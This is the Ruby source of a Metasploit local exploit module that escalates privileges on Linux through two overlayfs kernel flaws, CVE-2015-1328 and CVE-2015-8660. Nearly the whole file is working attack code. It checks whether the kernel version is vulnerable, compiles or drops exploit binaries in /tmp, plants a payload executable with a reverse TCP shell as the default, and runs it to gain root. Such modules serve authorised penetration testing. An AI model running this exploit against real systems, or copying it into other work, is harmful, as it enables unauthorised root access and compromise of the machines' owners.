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over4.rb
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Overlayfs Privilege Escalation',
'Description' => %q{
This module attempts to exploit two different CVEs related to overlayfs.
CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55
3.16.0-25 (14.10 default) < 3.16.0-41
3.19.0-18 (15.04 default) < 3.19.0-21
CVE-2015-8660:
Ubuntu:
3.19.0-18 < 3.19.0-43
4.2.0-18 < 4.2.0-23 (14.04.1, 15.10)
Fedora:
< 4.2.8 (vulnerable, un-tested)
Red Hat:
< 3.10.0-327 (rhel 6, vulnerable, un-tested)
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <[email protected]>', # Module
'rebel' # Discovery
],
'DisclosureDate' => 'Jun 16 2015',
'Platform' => [ 'linux'],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'CVE-2015-1328', { } ],
[ 'CVE-2015-8660', { } ]
],
'DefaultTarget' => 1,
'DefaultOptions' =>
{
'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su
},
'References' =>
[
[ 'EDB', '39166'], # CVE-2015-8660
[ 'EDB', '37292'], # CVE-2015-1328
[ 'CVE', '2015-1328'],
[ 'CVE', '2015-8660']
]
))
register_options(
[
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
], self.class)
end
def check
def mounts_exist?()
vprint_status('Checking if mount points exist')
if target.name == 'CVE-2015-1328'
if not directory?('/tmp/ns_sploit')
vprint_good('/tmp/ns_sploit not created')
return true
else
print_error('/tmp/ns_sploit directory exists. Please delete.')
return false
end
elsif target.name == 'CVE-2015-8660'
if not directory?('/tmp/haxhax')
vprint_good('/tmp/haxhax not created')
return true
else
print_error('/tmp/haxhax directory exists. Please delete.')
return false
end
end
end
def kernel_vuln?()
os_id = cmd_exec('grep ^ID= /etc/os-release')
case os_id
when 'ID=ubuntu'
kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
case kernel.release.to_s
when '3.13.0'
if kernel.between?(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
when '3.16.0'
if kernel.between?(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
when '3.19.0'
if kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
return true
elsif kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
when '4.2.0'
if kernel.between?(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
else
print_error("Non-vuln kernel #{kernel}")
return false
end
when 'ID=fedora'
kernel = Gem::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc
# irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '')
# => "4.0.4-301"
if kernel.release < Gem::Version.new('4.2.8')
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660. Exploitation UNTESTED")
return true
else
print_error("Non-vuln kernel #{kernel}")
return false
end
else
print_error("Unknown OS: #{os_id}")
return false
end
end
if mounts_exist?() && kernel_vuln?()
return CheckCode::Appears
else
return CheckCode::Safe
end
end
def exploit
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
filename = rand_text_alphanumeric(8)
executable_path = "#{datastore['WritableDir']}/#{filename}"
payloadname = rand_text_alphanumeric(8)
payload_path = "#{datastore['WritableDir']}/#{payloadname}"
def has_prereqs?()
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
else
print_error('gcc is not installed. Compiling will fail.')
end
return gcc.include?('gcc')
end
compile = false
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
if has_prereqs?()
compile = true
vprint_status('Live compiling exploit on system')
else
vprint_status('Dropping pre-compiled exploit on system')
end
end
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
def upload_and_chmod(fname, fcontent, cleanup=true)
print_status "Writing to #{fname} (#{fcontent.size} bytes)"
rm_f fname
write_file(fname, fcontent)
cmd_exec("chmod +x #{fname}")
if cleanup
register_file_for_cleanup(fname)
end
end
def on_new_session(session)
super
if target.name == 'CVE-2015-1328'
session.shell_command("/bin/su") #this doesnt work on meterpreter?????
# we cleanup here instead of earlier since we needed the /bin/su in our new session
session.shell_command('rm -f /etc/ld.so.preload')
session.shell_command('rm -f /tmp/ofs-lib.so')
end
end
if compile
begin
if target.name == 'CVE-2015-1328'
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
# Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary.
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c')
fd = ::File.open( path, "rb")
cve_2015_1328 = fd.read(fd.stat.size)
fd.close
# pulled out from 1328.c's LIB define
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c')
fd = ::File.open( path, "rb")
ofs_lib = fd.read(fd.stat.size)
fd.close
else
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c')
fd = ::File.open( path, "rb")
cve_2015_8660 = fd.read(fd.stat.size)
fd.close
end
rescue
compile = false #hdm said external folder is optional and all module should run even if external is deleted. If we fail to load, default to binaries
end
end
if compile
if target.name == 'CVE-2015-1328'
cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/,
"execl(\"#{payload_path}\",\"#{payloadname}\",NULL);")
upload_and_chmod("#{executable_path}.c", cve_2015_1328)
ofs_path = "#{datastore['WritableDir']}/ofs-lib"
upload_and_chmod("#{ofs_path}.c", ofs_lib)
cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file
register_file_for_cleanup("#{ofs_path}.c")
else
cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/,
"os.execl('#{payload_path}','#{payloadname}')")
upload_and_chmod("#{executable_path}.c", cve_2015_8660)
end
vprint_status("Compiling #{executable_path}.c")
cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile
register_file_for_cleanup(executable_path)
else
if target.name == 'CVE-2015-1328'
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328')
fd = ::File.open( path, "rb")
cve_2015_1328 = fd.read(fd.stat.size)
fd.close
upload_and_chmod(executable_path, cve_2015_1328)
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so')
fd = ::File.open( path, "rb")
ofs_lib = fd.read(fd.stat.size)
fd.close
ofs_path = "#{datastore['WritableDir']}/ofs-lib"
# dont auto cleanup or else it happens too quickly and we never escalate ourprivs
upload_and_chmod("#{ofs_path}.so", ofs_lib, false)
# overwrite with the hardcoded variable names in the compiled versions
payload_filename = 'lXqzVpYN'
payload_path = '/tmp/lXqzVpYN'
else
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660')
fd = ::File.open( path, "rb")
cve_2015_8660 = fd.read(fd.stat.size)
fd.close
upload_and_chmod(executable_path, cve_2015_8660)
# overwrite with the hardcoded variable names in the compiled versions
payload_filename = '1H0qLaq2'
payload_path = '/tmp/1H0qLaq2'
end
end
upload_and_chmod(payload_path, generate_payload_exe)
vprint_status('Exploiting...')
output = cmd_exec(executable_path)
output.each_line { |line| vprint_status(line.chomp) }
end
end
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